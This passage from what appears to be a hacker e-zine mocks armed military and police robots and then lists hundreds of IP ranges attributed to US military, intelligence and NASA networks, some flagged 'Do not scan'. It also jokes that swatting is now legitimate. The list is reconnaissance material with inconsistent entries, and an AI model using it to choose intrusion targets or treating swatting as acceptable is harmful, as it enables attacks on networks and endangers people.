more than 400 bomb-damaged robots a week to put them back into
service.
--------------------------------------------------------------------

My bot can kick your bot's ass. Great. But how do they stand up
against humans?

Not the kind of humans that throw rocks at tanks, but the
thinking kind, like the ones that broke Israeli comms crypto
during the recent war in Lebanon.

Let's see what happens when it comes across a carpet stretched
over a pit. Or somebody throws a blanket over it, or spray paints
the camera lens, or fires IR lasers or very bright oLEDS at the
camera.

Once you have physical access to the thing, you own it. How hard
would it be to re-chip the thing and send it back against its
makers?

Can we test our killer-robot counter measures? Maybe. The
opportunity may soon be as close as your local pigsty.

http://blog.wired.com/defense/2007/08/armed-robots-so.html
--------------------------------------------------------------------
Armed robots -- similar to the ones now on patrol in Iraq -- are
being marketed to domestic police forces, according to the
machines' manufacturer and law enforcement officers.

Foster-Miller, maker of the armed SWORDS robot for military use,
is also actively promoting a similar model to domestic, civilian
police forces. The Talon SWAT/MP is a "robot specifically
equipped for scenarios frequently encountered by police SWAT
[special weapon and tactics] units and MPs [military police]," a
company fact sheet announces. It "can be configured with the
following equipment:

. Multi-shot TASER electronic control device with laser-dot
aiming.
. Loudspeaker and audio receiver for negotiations.
. Night vision and thermal cameras.
. Choice of weapons for lethal or less-than-lethal responses
- 40 mm grenade launcher - 2 rounds
- 12-gage shotgun - 5 rounds
- FN303 less-lethal launcher - 15 rounds.

In addition to the Massachusetts State Police, SWAT teams in
Houston, San Francisco, and Lubbock, TX all have the robots,
according to Foster-Miller spokesperson Cynthia Black.
--------------------------------------------------------------------

Finally, a legitimate excuse for Swatting.

http://en.wikipedia.org/wiki/Swatting
--------------------------------------------------------------------
In the field of Information Security, Swatting is an attempt to
trick an emergency service to dispatch an emergency response
team. The name derives from attempts to trick an emergency
services operator (a "911 operator") into dispatching a SWAT
(Special Weapons and Training) team to a location under false
pretense.
--------------------------------------------------------------------

What next?

http://blog.wired.com/defense/2007/11/black-knight.html
--------------------------------------------------------------------
We now know that there are robotic cars smart enough to drive
themselves around a city. The next step: give those vehicles
automatic weapons, of course.

Or the troops can stay just chill out, and let the thing drive
itself. The Knight uses "advanced robotic technology for
autonomous mobility," according to BAE. "This capability allows
the Black Knight to plan routes, maneuver on the planned route,
and avoid obstacles - all without operator intervention."
--------------------------------------------------------------------

http://blog.wired.com/defense/2008/01/israel-thinking.html
--------------------------------------------------------------------
So Israeli military leaders have begun early planning for a new,
robotic defense system, armed with enough artificial intelligence
that it "could take over completely" from flesh-and-blood
operators. "It will be designed for... autonomous operations,'
Brig. Gen. Daniel Milo, commander of Israel's air defense forces,
tells Defense News' Barbara Opall-Rome. And in the event of a
"doomsday" strike, Opall-Rome notes, the system could handle
"attacks that exceed physiological limits of human command."

How do you say "Skynet" in Hebrew, again?
--------------------------------------------------------------------

http://www.reuters.com/article/oddlyEnoughNews/idUST27506220080408?feedType=RSS&feedName=oddlyEnoughNews&rpc=22&sp=true
--------------------------------------------------------------------
Robots could fill the jobs of 3.5 million people in graying Japan
by 2025, a thinktank says, helping to avert worker shortages as
the country's population shrinks.

Caregivers would save more than an hour a day if robots helped
look after children, older people and did some housework, it
added. Robotic duties could include reading books out loud or
helping bathe the elderly.
--------------------------------------------------------------------

Don't drop the soap.

--[ 5. Meaningful IP addresses ]--

Here are some IP addresses that people send us...we haven't tried anything
so don't blame us. If you have more ranges feel free to share.

But before, the best IP list is probably the one on cryptome:

http://cryptome.org/nsa-ip-update14.htm

-----

RANGE 6
6.* - Army Information Systems Center

RANGE 7
7.*.*.* Defense Information Systems Agency, VA

RANGE 11
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency,
Washington DC

RANGE 21
21. - US Defense Information Systems Agency

RANGE 22
22.* - Defense Information Systems Agency

RANGE 24
24.198.*.*

RANGE 25
25.*.*.* Royal Signals and Radar Establishment, UK

RANGE 26
26.* - Defense Information Systems Agency

RANGE 29
29.* - Defense Information Systems Agency

RANGE 30
30.* - Defense Information Systems Agency

RANGE 49
49.* - Joint Tactical Command

RANGE 50
50.* - Joint Tactical Command

RANGE 55
55.* - Army National Guard Bureau

RANGE 55
55.* - Army National Guard Bureau

RANGE 62
62.0.0.1 - 62.30.255.255 Do not scan!

RANGE 64
64.70.*.* Do not scan
64.224.* Do not Scan
64.225.* Do not scan
64.226.* Do not scan

RANGE 128
128.37.0.0 Army Yuma Proving Ground
128.38.0.0 Naval Surface Warfare Center
128.43.0.0 Defence Research Establishment-Ottawa
128.47.0.0 Army Communications Electronics Command
128.49.0.0 Naval Ocean Systems Center
128.50.0.0 Department of Defense
128.51.0.0 Department of Defense
128.56.0.0 U.S. Naval Academy
128.60.0.0 Naval Research Laboratory
128.63.0.0 Army Ballistics Research Laboratory
128.80.0.0 Army Communications Electronics Command
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency
128.102.0.0 NASA Ames Research Center
128.149.0.0 NASA Headquarters
128.154.0.0 NASA Wallops Flight Facility
128.155.0.0 NASA Langley Research Center
128.156.0.0 NASA Lewis Network Control Center
128.157.0.0 NASA Johnson Space Center
128.158.0.0 NASA Ames Research Center
128.159.0.0 NASA Ames Research Center
128.160.0.0 Naval Research Laboratory
128.161.0.0 NASA Ames Research Center
128.183.0.0 NASA Goddard Space Flight Center
128.190.0.0 Army Belvoir Reasearch and Development Center
128.202.0.0 50th Space Wing
128.216.0.0 MacDill Air Force Base
128.217.0.0 NASA Kennedy Space Center
128.236.0.0 U.S. Air Force Academy

RANGE 129
129.23.0.0 Strategic Defense Initiative Organization
129.29.0.0 United States Military Academy
129.50.0.0 NASA Marshall Space Flight Center
129.51.0.0 Patrick Air Force Base
129.52.0.0 Wright-Patterson Air Force Base
129.53.0.0 - 129.53.255.255 66SPTG-SCB
129.54.0.0 Vandenberg Air Force Base, CA
129.92.0.0 Air Force Institute of Technology
129.99.0.0 NASA Ames Research Center
129.131.0.0 Naval Weapons Center
129.139.0.0 Army Armament Research Development and Engineering Center
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN
129.163.0.0 NASA/Johnson Space Center
129.164.0.0 NASA IVV
129.165.0.0 NASA Goddard Space Flight Center
129.166.0.0 NASA - John F. Kennedy Space Center
129.167.0.0 NASA Marshall Space Flight Center
129.168.0.0 NASA Lewis Research Center
129.190.0.0 Naval Underwater Systems Center
129.198.0.0 Air Force Flight Test Center
129.209.0.0 Army Ballistics Research Laboratory
129.229.0.0 U.S. Army Corps of Engineers
129.251.0.0 United States Air Force Academy

RANGE 130
130.40.0.0 NASA Johnson Space Center
130.90.0.0 Mather Air Force Base
130.109.0.0 Naval Coastal Systems Center
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity
130.124.0.0 Honeywell Defense Systems Group
130.165.0.0 U.S.Army Corps of Engineers
130.167.0.0 NASA Headquarters

RANGE 131
131.3.0.0 - 131.3.255.255 Mather Air Force Base
131.6.0.0 Langley Air Force Base
131.10.0.0 Barksdale Air Force Base
131.17.0.0 Sheppard Air Force Base
131.21.0.0 Hahn Air Base
131.22.0.0 Keesler Air Force Base
131.24.0.0 6 Communications Squadron
131.25.0.0 Patrick Air Force Base
131.27.0.0 75 ABW
131.30.0.0 62 CS/SCSNT
131.32.0.0 37 Communications Squadron
131.35.0.0 Fairchild Air Force Base
131.36.0.0 Yokota Air Base
131.37.0.0 Elmendorf Air Force Base
131.38.0.0 Hickam Air Force Base
131.39.0.0 354CS/SCSN
131.40.0.0 Bergstrom Air Force Base
131.44.0.0 Randolph Air Force Base
131.46.0.0 20 Communications Squadron
131.47.0.0 Andersen Air Force Base
131.50.0.0 Davis-Monthan Air Force Base
131.52.0.0 56 Communications Squadron /SCBB
131.54.0.0 Air Force Concentrator Network
131.56.0.0 Upper Heyford Air Force Base
131.58.0.0 Alconbury Royal Air Force Base
131.59.0.0 7 Communications Squadron
131.61.0.0 McConnell Air Force Base
131.62.0.0 Norton Air Force Base
131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO
131.74.0.0 Defense MegaCenter Columbus
131.84.0.0 Defense Technical Information Center
131.92.0.0 Army Information Systems Command - Aberdeen (EA)
131.105.0.0 McClellan Air Force Base
131.110.0.0 NASA/Michoud Assembly Facility
131.120.0.0 Naval Postgraduate School
131.121.0.0 United States Naval Academy
131.122.0.0 United States Naval Academy
131.176.0.0 European Space Operations Center
131.182.0.0 NASA Headquarters
131.250.0.0 Office of the Chief of Naval Research

RANGE 132
132.3.0.0 Williams Air Force Base
132.5.0.0 - 132.5.255.255 49th Fighter Wing
132.6.0.0 Ankara Air Station
132.7.0.0 - 132.7.255.255 SSG/SINO
132.9.0.0 28th Bomb Wing
132.10.0.0 319 Comm Sq
132.11.0.0 Hellenikon Air Base
132.12.0.0 Myrtle Beach Air Force Base
132.13.0.0 Bentwaters Royal Air Force Base
132.14.0.0 Air Force Concentrator Network
132.15.0.0 Kadena Air Base
132.16.0.0 Kunsan Air Base
132.17.0.0 Lindsey Air Station
132.18.0.0 McGuire Air Force Base
132.19.0.0 100CS (NET-MILDENHALL)
132.20.0.0 35th Communications Squadron
132.21.0.0 Plattsburgh Air Force Base
132.22.0.0 23Communications Sq
132.24.0.0 Dover Air Force Base
132.25.0.0 786 CS/SCBM
132.27.0.0 - 132.27.255.255 39CS/SCBBN
132.28.0.0 14TH COMMUNICATION SQUADRON
132.30.0.0 Lajes Air Force Base
132.31.0.0 Loring Air Force Base
132.33.0.0 60CS/SCSNM
132.34.0.0 Cannon Air Force Base
132.35.0.0 Altus Air Force Base
132.37.0.0 75 ABW
132.38.0.0 Goodfellow AFB
132.39.0.0 K.I. Sawyer Air Force Base
132.40.0.0 347 COMMUNICATION SQUADRON
132.42.0.0 Spangdahlem Air Force Base
132.43.0.0 Zweibruchen Air Force Base
132.45.0.0 Chanute Air Force Base
132.46.0.0 Columbus Air Force Base
132.48.0.0 Laughlin Air Force Base
132.49.0.0 366CS/SCSN
132.50.0.0 Reese Air Force Base
132.52.0.0 Vance Air Force Base
132.54.0.0 Langley AFB
132.55.0.0 Torrejon Air Force Base
132.56.0.0 - 132.56.255.255 9 CS/SC
132.57.0.0 Castle Air Force Base
132.58.0.0 Nellis Air Force Base
132.59.0.0 24Comm Squadron\SCSNA
132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON
132.61.0.0 SSG/SIN
132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON
132.79.0.0 Army National Guard Bureau
132.80.0.0 - 132.80.255.255 NGB-AIS-OS
132.80.0.0 - 132.85.255.255 National Guard Bureau
132.82.0.0 Army National Guard Bureau
132.86.0.0 National Guard Bureau
132.87.0.0 - 132.93.255.255 National Guard Bureau
132.94.0.0 Army National Guard Bureau
132.95.0.0 - 132.103.255.255 National Guard Bureau
132.95.0.0 - 132.108.0.0 DOD Network Information Center
132.104.0.0 - 132.104.255.255 Army National Guard Bureau
132.105.0.0 - 132.108.255.255 Army National Guard Bureau
132.109.0.0 National Guard Bureau
132.110.0.0 - 132.116.255.255 Army National Guard Bureau
132.114.0.0 Army National Guard
132.117.0.0 Army National Guard Bureau
132.118.0.0 - 132.132.0.0 Army National Guard Bureau
132.122.0.0 South Carolina Army National Guard, USPFO
132.133.0.0 National Guard Bureau
132.134.0.0 - 132.143.255.255 National Guard Bureau
132.159.0.0 Army Information Systems Command
132.193.0.0 Army Research Office
132.250.0.0 Naval Research Laboratory

RANGE 134
134.5.0.0 Lockheed Aeronautical Systems Company
134.11.0.0 The Pentagon
134.12.0.0 NASA Ames Research Center
134.51.0.0 Boeing Military Aircraft Facility
134.52.*.* Boeing Corporation
134.78.0.0 Army Information Systems Command-ATCOM
134.80.0.0 Army Information Systems Command
134.118.0.0 NASA/Johnson Space Center
134.131.0.0 Wright-Patterson Air Force Base
134.136.0.0 Wright-Patterson Air Force Base
134.164.0.0 Army Engineer Waterways Experiment Station
134.165.0.0 Headquarters Air Force Space Command
134.194.0.0 U.S. Army Aberdeen Test Center
134.205.0.0 7th Communications Group
134.207.0.0 Naval Research Laboratory
134.229.0.0 Navy Regional Data Automation Center
134.230.0.0 Navy Regional Data Automation Center
134.232.0.0 - 134.232.255.255 U.S. Army, Europe
134.233.0.0 HQ 5th Signal Command
134.234.0.0 - 134.234.255.255 Southern European Task Force
134.235.0.0 HQ 5th Signal Command
134.240.0.0 U.S. Military Academy
136.149.0.0 Air Force Military Personnel Center

RANGE 136
136.178.0.0 NASA Research Network
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency
136.207.0.0 69th Signal Battalion
136.208.0.0 HQ, 5th Signal Command
136.209.0.0 HQ 5th Signal Command
136.210.0.0 HQ 5th Signal Command
136.212.0.0 HQ 5th Signal Command
136.213.0.0 HQ, 5th Signal Command
136.214.0.0 HQ, 5th Signal Command
136.215.0.0 HQ, 5th Signal Command
136.216.0.0 HQ, 5th Signal Command
136.217.0.0 HQ, 5th Signal Command
136.218.0.0 HQ, 5th Signal Command
136.219.0.0 HQ, 5th Signal Command
136.220.0.0 HQ, 5th Signal Command
136.221.0.0 HQ, 5th Signal Command
136.222.0.0 HQ, 5th Signal Command

RANGE 137
137.1.0.0 Whiteman Air Force Base
137.2.0.0 George Air Force Base
137.3.0.0 Little Rock Air Force Base
137.4.0.0 - 137.4.255.255 437 CS/SC
137.5.0.0 Air Force Concentrator Network
137.6.0.0 Air Force Concentrator Network
137.11.0.0 HQ AFSPC/SCNNC
137.12.0.0 Air Force Concentrator Network
137.17.* National Aerospace Laboratory
137.24.0.0 Naval Surface Warfare Center
137.29.0.0 First Special Operations Command
137.67.0.0 Naval Warfare Assessment Center
137.94.* Royal Military College
137.95.* Headquarters, U.S. European Command
137.126.0.0 USAF MARS
137.127.* Army Concepts Analysis Agency
137.128.* U.S. ARMY Tank-Automotive Command
137.130.0.0 Defense Information Systems Agency
137.209.0.0 Defense Information Systems Agency
137.210.0.0 Defense Information Systems Agency
137.211.0.0 Defense Information Systems Agency
137.212.0.0 Defense Information Systems Agency
137.231.0.0 HQ 5th Signal Command
137.232.0.0 Defense Information Systems Agency
137.233.0.0 Defense Information Systems Agency
137.234.0.0 Defense Information Systems Agency
137.235.0.0 Defense Information Systems Agency
137.240.0.0 Air Force Materiel Command
137.241.0.0 75 ABW
137.242.0.0 Air Force Logistics Command
137.243.0.0 77 CS/SCCN
137.244.0.0 78 CS/SCSC
137.245.0.0 Wright Patterson Air Force Base
137.246.0.0 United States Atlantic Command Joint Training

RANGE 138
138.13.0.0 Air Force Systems Command
138.27.0.0 Army Information Systems Command
138.50.0.0 HQ 5th Signal Command
138.65.0.0 HQ, 5th Signal Command
138.76.0.0 NASA Headquarters
138.109.0.0 Naval Surface Warfare Center
138.115.0.0 NASA Information and Electronic Systems Laboratory
138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR
138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications
Station
138.137.0.0 Navy Regional Data Automation Center (NARDAC)
138.139.0.0 Marine Corps Air Station
138.140.0.0 Navy Regional Data Automation Center
138.141.0.0 Navy Regional Data Automation Center
138.142.0.0 Navy Regional Data Automation Center
138.143.0.0 Navy Regional Data Automation Center
138.144.0.0 NAVCOMTELCOM
138.145.0.0 NCTS WASHINGTON
138.146.0.0 NCTC
138.147.0.0 NCTC
138.148.0.0 NCTC
138.149.0.0 NCTC
138.150.0.0 NCTC
138.151.0.0 NCTC
138.152.0.0 NCTC
138.153.0.0 Yokosuka Naval Base
138.154.0.0 NCTC
138.155.0.0 NCTC
138.156.0.0 Marine Corps Central Design & Prog. Activity
138.157.0.0 - 138.157.255.255 Marine Corps Central Design & Prog.
Activity
138.158.0.0 Marine Corps Central Design & Prog. Activity
138.159.0.0 NCTC
138.160.0.0 Naval Air Station
138.161.0.0 NCTC
138.162.0.0 NCTC
138.163.0.0 NCTC
138.164.0.0 NCTC
138.165.0.0 NCTC
138.166.0.0 NCTC
138.167.0.0 NOC, MCTSSA, East
138.168.0.0 Marine Corps Central Design & Prog. Activity
138.169.0.0 NAVAL COMPUTER AND TELECOMM
138.169.12.0 NAVAL COMPUTER AND TELECOMM
138.169.13.0 NAVAL COMPUTER AND TELECOMM
138.170.0.0 NCTC
138.171.0.0 NCTC
138.172.0.0 NCTC
138.173.0.0 NCTC
138.174.0.0 NCTC
138.175.0.0 NCTC
138.176.0.0 NCTC
138.177.0.0 NCTS Pensacola
138.178.0.0 NCTC
138.179.0.0 NCTC
138.180.0.0 NCTC
138.181.0.0 NCTC
138.182.0.0 CNO N60
138.183.0.0 NCTC
138.184.0.0 NCTS
138.193.0.0 NASA/Yellow Creek

RANGE 139
139.31.0.0 20th Tactical Fighter Wing
139.32.0.0 48th Tactical Fighter Wing
139.33.0.0 36th Tactical Fighter Wing
139.34.0.0 52nd Tactical Fighter Wing
139.35.0.0 50th Tactical Fighter Wing
139.36.0.0 66th Electronic Combat Wing
139.37.0.0 26th Tactical Reconnaissance Wing
139.38.0.0 32nd Tactical Fighter Squadron
139.39.0.0 81st Tactical Fighter Wing
139.40.0.0 10th Tactical Fighter Wing
139.41.0.0 39th Tactical Air Control Group
139.42.0.0 40th Tactical Air Control Group
139.43.0.0 401st Tactical Fighter Wing
139.124.* Reseau Infomratique
139.142.*.*

RANGE 140
140.1.0.0 Defense Information Systems Agency
140.3.0.0 Defense Information Systems Agency
140.4.0.0 Defense Information Systems Agency
140.5.0.0 Defense Information Systems Agency
140.6.0.0 Defense Information Systems Agency
140.7.0.0 Defense Information Systems Agency
140.8.0.0 Defense Information Systems Agency
140.9.0.0 Defense Information Systems Agency
140.10.0.0 Defense Information Systems Agency
140.11.0.0 Defense Information Systems Agency
140.12.0.0 Defense Information Systems Agency
140.13.0.0 Defense Information Systems Agency
140.14.0.0 DISA Columbus Level II NOC
140.15.0.0 Defense Information Systems Agency
140.16.0.0 Defense Information Systems Agency
140.17.0.0 Defense Information Systems Agency
140.18.0.0 Defense Information Systems Agency
140.19.0.0 Defense Information Systems Agency
140.20.0.0 Defense Information Systems Agency
140.21.0.0 Defense Information Systems Agency
140.22.0.0 Defense Information Systems Agency
140.23.0.0 Defense Information Systems Agency
140.24.0.0 ASIC ALLIANCE-MARLBORO
140.25.0.0 Defense Information Systems Agency
140.26.0.0 Defense Information Systems Agency
140.27.0.0 Defense Information Systems Agency
140.28.0.0 Defense Information Systems Agency
140.29.0.0 Defense Information Systems Agency
140.30.0.0 Defense Information Systems Agency
140.31.0.0 Defense Information Systems Agency
140.32.0.0 Defense Information Systems Agency
140.33.0.0 Defense Information Systems Agency
140.34.0.0 Defense Information Systems Agency
140.35.0.0 Defense Information Systems Agency
140.36.0.0 Defense Information Systems Agency
140.37.0.0 Defense Information Systems Agency
140.38.0.0 Defense Information Systems Agency
140.39.0.0 Defense Information Systems Agency
140.40.0.0 Defense Information Systems Agency
140.41.0.0 Defense Information Systems Agency
140.42.0.0 Defense Information Systems Agency
140.43.0.0 Defense Information Systems Agency
140.44.0.0 Defense Information Systems Agency
140.45.0.0 Defense Information Systems Agency
140.46.0.0 Defense Information Systems Agency
140.47.0.0 - 140.47.255.255 Defense Information Systems Agency
140.47.0.0 - 140.48.255.255 DOD Network Information Center
140.48.0.0 - 140.48.255.255 Defense Information Systems Agency
140.49.0.0 Defense Information Systems Agency
140.50.0.0 Defense Information Systems Agency
140.51.0.0 Defense Information Systems Agency
140.52.0.0 Defense Information Systems Agency
140.53.0.0 Defense Information Systems Agency
140.54.0.0 Defense Information Systems Agency
140.55.0.0 Defense Information Systems Agency
140.56.0.0 Defense Information Systems Agency
140.57.0.0 Defense Information Systems Agency
140.58.0.0 Defense Information Systems Agency
140.59.0.0 Defense Information Systems Agency
140.60.0.0 Defense Information Systems Agency
140.61.0.0 Defense Information Systems Agency
140.62.0.0 Defense Information Systems Agency
140.63.0.0 Defense Information Systems Agency
140.64.0.0 Defense Information Systems Agency
140.65.0.0 Defense Information Systems Agency
140.66.0.0 Defense Information Systems Agency
140.67.0.0 Defense Information Systems Agency
140.68.0.0 Defense Information Systems Agency
140.69.0.0 Defense Information Systems Agency
140.70.0.0 Defense Information Systems Agency
140.71.0.0 Defense Information Systems Agency
140.72.0.0 Defense Information Systems Agency
140.73.0.0 Defense Information Systems Agency
140.74.0.0 - 140.74.255.255 Defense Information Systems Agency
140.100.0.0 Naval Sea Systems Command
140.139.0.0 HQ US Army Medical Research and Development Command
140.154.0.0 HQ 5th Signal Command
140.155.0.0 HQ, 5th Signal Command
140.156.0.0 HQ, 5th Signal Command
140.175.0.0 Scott Air Force Base
140.178.0.0 Naval Undersea Warfare Center Division, Keyport
140.187.0.0 Fort Bragg
140.194.0.0 US Army Corps of Engineers
140.195.0.0 Naval Sea Systems Command
140.199.0.0 Naval Ocean Systems Center
140.201.0.0 HQ, 5th Signal Command
140.202.0.0 106TH SIGNAL BRIGADE

RANGE 143
143.45.0.0 58th Signal Battalion
143.46.0.0 U.S. Army, 1141st Signal Battalion
143.68.0.0 Headquarters, USAISC
143.69.0.0 Headquarters, USAAISC
143.70.0.0 Headquarters, USAAISC
143.71.0.0 Headquarters, USAAISC
143.72.0.0 Headquarters, USAAISC
143.73.0.0 Headquarters, USAAISC
143.74.0.0 Headquarters, USAAISC
143.75.0.0 Headquarters, USAAISC
143.76.0.0 Headquarters, USAAISC
143.77.0.0 Headquarters, USAAISC
143.78.0.0 Headquarters, USAAISC
143.79.0.0 Headquarters, USAAISC
143.80.0.0 Headquarters, USAAISC
143.81.0.0 Headquarters, USAAISC
143.82.0.0 Headquarters, USAAISC
143.84.0.0 Headquarters, USAAISC
143.85.0.0 Headquarters, USAAISC
143.86.0.0 Headquarters, USAAISC
143.87.0.0 Headquarters, USAAISC
143.232.0.0 NASA Ames Research Center

RANGE 144
144.99.0.0 United States Army Information Systems Command
144.109.0.0 Army Information Systems Command
144.143.0.0 Headquarters, Third United States Army
144.144.0.0 Headquarters, Third United States Army
144.146.0.0 Commander, Army Information Systems Center
144.147.0.0 Commander, Army Information Systems Center
144.170.0.0 HQ, 5th Signal Command
144.192.0.0 United States Army Information Services Command-Campbell
144.233.0.0 Defense Intelligence Agency
144.234.0.0 Defense Intelligence Agency
144.235.0.0 Defense Intelligence Agency
144.236.0.0 Defense Intelligence Agency
144.237.0.0 Defense Intelligence Agency
144.238.0.0 Defense Intelligence Agency
144.239.0.0 Defense Intelligence Agency
144.240.0.0 Defense Intelligence Agency
144.241.0.0 Defense Intelligence Agency
144.242.0.0 Defense Intelligence Agency
144.252.0.0 U.S. Army LABCOM

RANGE 146
146.17.0.0 HQ, 5th Signal Command
146.80.0.0 Defence Research Agency
146.98.0.0 HQ United States European Command
146.154.0.0 NASA/Johnson Space Center
146.165.0.0 NASA Langley Research Center

RANGE 147
147.35.0.0 HQ, 5th Signal Command
147.36.0.0 HQ, 5th Signal Command
147.37.0.0 HQ, 5th Signal Command
147.38.0.0 HQ, 5th Signal Command
147.39.0.0 HQ, 5th Signal Command
147.40.0.0 HQ, 5th Signal Command
147.42.0.0 Army CALS Project
147.103.0.0 Army Information Systems Software Center
147.104.0.0 Army Information Systems Software Center
147.159.0.0 Naval Air Warfare Center, Aircraft Division
147.168.0.0 Naval Surface Warfare Center
147.169.0.0 HQ, 5th Signal Command
147.198.0.0 Army Information Systems Command
147.199.0.0 Army Information Systems Command
147.238.0.0 Army Information Systems Command
147.239.0.0 1112th Signal Battalion
147.240.0.0 US Army Tank-Automotive Command
147.242.0.0 19th Support Command
147.248.0.0 Fort Monroe DOIM
147.254.0.0 7th Communications Group

RANGE 148
148.114.0.0 NASA, Stennis Space Center

RANGE 150
150.113.0.0 1114th Signal Battalion
150.114.0.0 1114th Signal Battalion
150.125.0.0 Space and Naval Warfare Command
150.133.0.0 10th Area Support Group
150.144.0.0 NASA Goodard Space Flight Center
150.149.0.0 Army Information Systems Command
150.157.0.0 USAISC-Fort Lee
150.184.0.0 Fort Monroe DOIM
150.190.0.0 USAISC-Letterkenny
150.196.0.0 USAISC-LABCOM

RANGE 152
152.82.0.0 7th Communications Group of the Air Force
152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command
152.152.0.0 NATO Headquarters
152.154.0.0 Defense Information Systems Agency
152.229.0.0 Defense MegaCenter (DMC) Denver

RANGE 153
153.21.0.0 USCENTAF/SCM
153.22.0.0 USCENTAF/SCM
153.23.0.0 USCENTAF/SCM
153.24.0.0 USCENTAF/SCM
153.25.0.0 USCENTAF/SCM
153.26.0.0 USCENTAF/SCM
153.27.0.0 USCENTAF/SCM
153.28.0.0 USCENTAF/SCM
153.29.0.0 USCENTAF/SCM
153.30.0.0 USCENTAF/SCM
153.31.0.0 Federal Bureau of Investigation

RANGE 155
155.5.0.0 1141st Signal Bn
155.6.0.0 1141st Signal Bn
155.7.0.0 American Forces Information
155.8.0.0 U.S. ArmyFort Gordon
155.9.0.0 - 155.9.255.255 United States Army Information Systems Command
155.74.0.0 PEO STAMIS
155.75.0.0 US Army Corps of Engineers
155.76.0.0 PEO STAMIS
155.77.0.0 PEO STAMIS
155.78.0.0 PEO STAMIS
155.79.0.0 US Army Corps of Engineers
155.80.0.0 PEO STAMIS
155.81.0.0 PEO STAMIS
155.82.0.0 PEO STAMIS
155.83.0.0 US Army Corps of Enginers
155.84.0.0 PEO STAMIS
155.85.0.0 PEO STAMIS
155.86.0.0 US Army Corps of Engineers
155.87.0.0 PEO STAMIS
155.88.0.0 PEO STAMIS
155.96.0.0 Drug Enforcement Administration
155.149.0.0 1112th Signal Battalion
155.155.0.0 HQ, 5th Signal Command
155.178.0.0 Federal Aviation Administration
155.213.0.0 USAISC Fort Benning
155.214.0.0 Director of Information Management
155.215.0.0 USAISC-FT DRUM
155.216.0.0 TCACCIS Project Management Office
155.217.0.0 Directorate of Information Management
155.218.0.0 USAISC
155.219.0.0 DOIM/USAISC Fort Sill
155.220.0.0 USAISC-DOIM
155.221.0.0 USAISC-Ft Ord

RANGE 156
156.9.0.0 U. S. Marshals Service

RANGE 157
157.150.0.0 United Nations
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET
157.202.0.0 US Special Operations Command
157.217.0.0 U. S. Strategic Command

RANGE 158
158.1.0.0 Commander, Tooele Army Depot
158.2.0.0 USAMC Logistics Support Activity
158.3.0.0 U.S. Army TACOM
158.4.0.0 UASISC Ft. Carson
158.5.0.0 1112th Signal Battalion
158.6.0.0 USAISC-Ft. McCoy
158.7.0.0 USAISC-FLW
158.8.0.0 US Army Soldier Support Center
158.9.0.0 USAISC-CECOM
158.10.0.0 GOC
158.11.0.0 UASISC-Vint Hill
158.12.0.0 US Army Harry Diamond Laboratories
158.13.0.0 USAISC DOIM
158.14.0.0 1112th Signal Battalion
158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville
158.16.0.0 Rocky Mountain Arsenal (PMRMA)
158.17.0.0 Crane Army Ammunition Activity
158.18.0.0 Defense Finance & Accounting Service Center
158.19.0.0 DOIM
158.20.0.0 DOIM
158.235.0.0 Marine Corps Central Design and Programming Activity
158.243.0.0 Marine Corps Central Design and Programming Activity
158.244.0.0 Marine Corps Central Design and Programming Activity
158.245.0.0 Marine Corps Central Design and Programming Activity
158.246.0.0 Marine Corps Central Design and Programming Activity

RANGE 159
159.120.0.0 Naval Air Systems Command (Air 4114)

RANGE 160
160.132.0.0 US Army Recruiting Command
160.135.0.0 36th Signal BN
160.138.0.0 USAISC
160.139.0.0 USAISC
160.140.0.0 HQ, United States Army
160.143.0.0 USAISC
160.145.0.0 1101st Signal Brigade
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS
160.150.0.0 Commander, Moncrief Army Hospital

RANGE 161
161.124.0.0 NAVAL WEAPONS STATION

RANGE 162
162.32.0.0 Naval Aviation Depot Pensacola
162.45.0.0 Central Intelligence Agency
162.46.0.0 Central Intelligence Agency

RANGE 163
163.205.0.0 NASA Kennedy Space Center
163.206.0.0 NASA Kennedy Space Center

RANGE 164
164.45.0.0 Naval Ordnance Center, Pacific Division
164.49.0.0 United States Army Space and Strategic Defense
164.158.0.0 Naval Surface Warfare Center
164.217.0.0 Institute for Defense Analyses
164.218.0.0 Bureau of Naval Personnel
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER
164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET
164.221.0.0 - 164.221.255.255 Information Technology
164.223.0.0 Naval Undersea Warfare Center
164.224.0.0 Secretary of the Navy
164.225.0.0 U.S. Army Intelligence and Security Command
164.226.0.0 Naval Exchange Service Command
164.227.0.0 Naval Surface Warfare Center, Crane Division
164.228.0.0 USCINCPAC J21T
164.229.0.0 NCTS-NOLA
164.230.0.0 Naval Aviation Depot
164.231.0.0 Military Sealift Command
164.232.0.0 - 164.232.255.255 United States Southern Command

RANGE 167
167.44.0.0 Government Telecommunications Agency

RANGE 168
168.68.0.0 USDA Office of Operations
168.85.0.0 Fort Sanders Alliance
168.102.0.0 Indiana Purdue Fort Wayne

RANGE 169
169.252.0.0 - 169.253.0.0 U.S. Department of State

RANGE 194

RANGE 195
195.10.* Various - Do not scan

RANGE 199
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA

RANGE 203
203.59.0.0 - 203.59.255.255 Perth Australia iiNET

RANGE 204
204.34.0.0 - 204.34.15.0 IPC JAPAN
204.34.0.0 - 204.37.255.0 DOD Network Information Center
204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery
204.34.32.0 - 204.34.63.0 USACOM
204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE
204.34.128.0 DISA-Eucom / BBN-STD, Inc.
204.34.129.0 Defense Technical Information Center
204.34.130.0 GSI
204.34.131.0 NSA NAPLES ITALY
204.34.132.0 NAVSTA ROTA SPAIN
204.34.133.0 NAS SIGONELLA ITALY
204.34.134.0 Naval Air Warfare Center Aircraft Division
204.34.135.0 GSI
